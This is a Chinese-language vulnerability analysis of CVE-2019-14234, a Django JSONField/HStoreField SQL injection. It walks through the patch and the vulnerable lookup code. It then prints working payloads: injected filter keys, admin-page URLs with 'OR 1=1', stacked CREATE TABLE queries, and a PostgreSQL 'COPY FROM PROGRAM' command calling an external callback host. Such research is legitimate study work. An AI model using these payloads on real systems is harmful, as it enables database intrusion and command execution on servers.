CVE-2019-14234 Django JSON SQL注入 分析

0x00前言

8月1号,DJango官方发出更新,其中修复了一个存在于JSON的SQL注入漏洞(CVE-2019-14234)

作为以Django为主要开发的人来说,需要好好研究一下。

 

0x01 漏洞修复

首先来看看官方是如何修复的

首先将django/contrib/postgres/fields/hstore.py文件里面的KeyTransform类的as_sql函数中的直接传递字符传改为了将self.key_name单独使用数组进行传递,其中%%的意思为"转换说明符",其主要作用为直接转化为单个"%"符号而不需要参数。类似于\\\

In[1]:"%%"%()
Out[1]: '%'

# 具体使用方法如下

In [2]: '%s %%s'%'test'
Out[2]: 'test %s'

之后在django/contrib/postgres/fields/jsonb.py文件中将对self.key_name变量的返回统一改成了使用数组进行转换。并且后期在单元测试中加入了对JSON的SQL注入测试

因此,也发现了通过JSON进行SQL注入的payload

0x02 漏洞分析

在github上,官方也给出了具体的原因

CVE-2019-14234: SQL injection possibility in key and index lookups for ``JSONField``/``HStoreField``
====================================================================================================

:lookup:`Key and index lookups <jsonfield.key>` for
:class:`~django.contrib.postgres.fields.JSONField` and :lookup:`key lookups
<hstorefield.key>` for :class:`~django.contrib.postgres.fields.HStoreField`
were subject to SQL injection, using a suitably crafted dictionary, with
dictionary expansion, as the ``**kwargs`` passed to ``QuerySet.filter()``.

其通过**kwargs传递键值树来绕过了QuerySet.filter()方法,PostgreSQL的使用json数据进行查询的一个方法有三个主要的查询函数ArrayFieldJSONFieldHStoreField,位于django.contrib.postgres.fields路径下面,出问题的是JSONField方法和HStoreField方法,两种方法都为内置的JSONB存储,这两种方法的区别为JSONField类似于HStoreField,并且可以使用大型字典执行得更好。它还支持除字符串以外的类型,例如整数,布尔和嵌套字典。

首先models里面的数据库格式为

from django.db import models
from django.contrib.postgres.fields import JSONField

# Create your models here.

class Json(models.Model):
    name = models.CharField(max_length=200)
    data = JSONField()

    def __str__(self):
        return self.name

使用python manage.py shell打开shell窗口,案例使用JSONField函数进行存储和查询

Json方式查询的方法可以使用语句

Json.objects.filter(data__breed='test')    # 查询data数据下名称为breed的内容为'test'的整个字段

或者使用语句

Json.objects.filter(**{"data__breed":'test'})

也可以达到要求

HStoreField方法预与之相同,故不做赘述。

因此既能够使用官方给的payload进行验证

Json.objects.filter(**{"""data__breed'='"a"') OR 1=1 OR('d""":'x',})

注入成功!!

查询语句转换为SQL语句为

select * from app01_json where (data- >'breed' ? 'test');

所以产生注入的语句为

select * from app01_json where (data- >'breed' ? 'a') OR 1=1 OR (data->'a'?'x');

为了探究该漏洞在哪一块业务中显现,因此来分析一下。同时又看到官方对过滤的参数都是self.key_name,因此将跟进这一个参数,发现该参数是由KeyTransform类中传入的参数得来的,再跟着KeyTransform走,发现类KeyTransformFactory调用KeyTransform了并且向里面传入了self.key_name

接着跟进,同时在JSONField类中的get_transform方法传入了self.key_name参数

同时跟进super中的父类函数,其传参来自于RegisterLookupMixin类中的lookup_name的变量,其JSONField和HStoreField都来自于这个类方法

class RegisterLookupMixin:

    @classmethod
    def _get_lookup(cls, lookup_name):
        return cls.get_lookups().get(lookup_name, None)

    @classmethod
    @functools.lru_cache(maxsize=None)
    def get_lookups(cls):
        class_lookups = [parent.__dict__.get('class_lookups', {}) for parent in inspect.getmro(cls)]
        return cls.merge_dicts(class_lookups)

    def get_lookup(self, lookup_name):
        from django.db.models.lookups import Lookup
        found = self._get_lookup(lookup_name)
        if found is None and hasattr(self, 'output_field'):
            return self.output_field.get_lookup(lookup_name)
        if found is not None and not issubclass(found, Lookup):
            return None
        return found

    def get_transform(self, lookup_name):
        from django.db.models.lookups import Transform
        found = self._get_lookup(lookup_name)
        if found is None and hasattr(self, 'output_field'):
            return self.output_field.get_transform(lookup_name)
        if found is not None and not issubclass(found, Transform):
            return None
        return found

那么,首先在as_sql函数和get_transform下面下断点

和as_sql方法

views.py中写一个逻辑函数

def query(request):
    m = Json.objects.filter(data__breed="test")
    return HttpResponse("OK")

访问http://127.0.0.1/query/,提取断点信息,发现lookup_name传入的参数为breed

之后跳入"(%s %s %s)" % (lhs, self.operator, lookup), params的语句为("app01_json"."data" -> 'breed') [],因此可以下结论我们需要控制的参数为breed,即使用**{"data__breed":"test"}可以对传进去的breed参数进行恶意构造从而达到SQL注入,self.operator的值为字符串"->"

进而出现查询结果,我们将SQL注入语句插入之后显现的语句为("app01_json"."data" -> 'breed'='"a"') OR 1=1 OR('d') []

最终显示注入成功,官方对RegisterLookupMixin的定义为查询的API接口,主要功能为为类提供注册查找的接口。在之前使用Django后台页面的时候,对admin.py进行配置使其能够对后台的内容进行排序,而查找的参数测试由get进行传输,在测试中输入url http://127.0.0.1:8000/admin/app01/json/?data__breed=test发现卡在了断点的位置,因此分析Django的后台查询使用了**kwargs方式进行传参

后台传参为("app01_json"."data" -> 'breed') [],因此构造一下url,并且在db\backends\utils.py文件里面下断点

http://127.0.0.1:8000/admin/app01/json/?data__breed%27%3f%27a%27) OR 1%3d1  %2d%2d OR  (%22app01_json%22.%22data%22 -> %27data

传进来的SQL语句为

'SELECT "app01_json"."id", "app01_json"."name", "app01_json"."data" FROM "app01_json" WHERE ("app01_json"."data" -> \'breed\'?\'a\') OR 1=1  -- OR  ("app01_json"."data" -> \'data\') = %s ORDER BY "app01_json"."id" DESC'

同时我们也可以用Postrgesql进行命令执行,首先使用URL创建一个数据库

http://127.0.0.1:8000/admin/app01/json/?data__breed%27%3f%27a%27) OR 1%3d2 %3bCREATE table cmd_exec(cmd_output text) %2d%2d OR  (%22app01_json%22.%22data%22 -> %27data

显示没有结果导出

但是成功创建cmd_exec表

接着插入URL执行命令

http://127.0.0.1:8000/admin/app01/json/?data__breed%27%3f%27a%27) OR 1%3d2 %3bCOPY cmd_exec FROM PROGRAM %27ping christa.ccccc.ceye.io%27 %2d%2d OR  (%22app01_json%22.%22data%22 -> %27data

成功执行命令!

Reference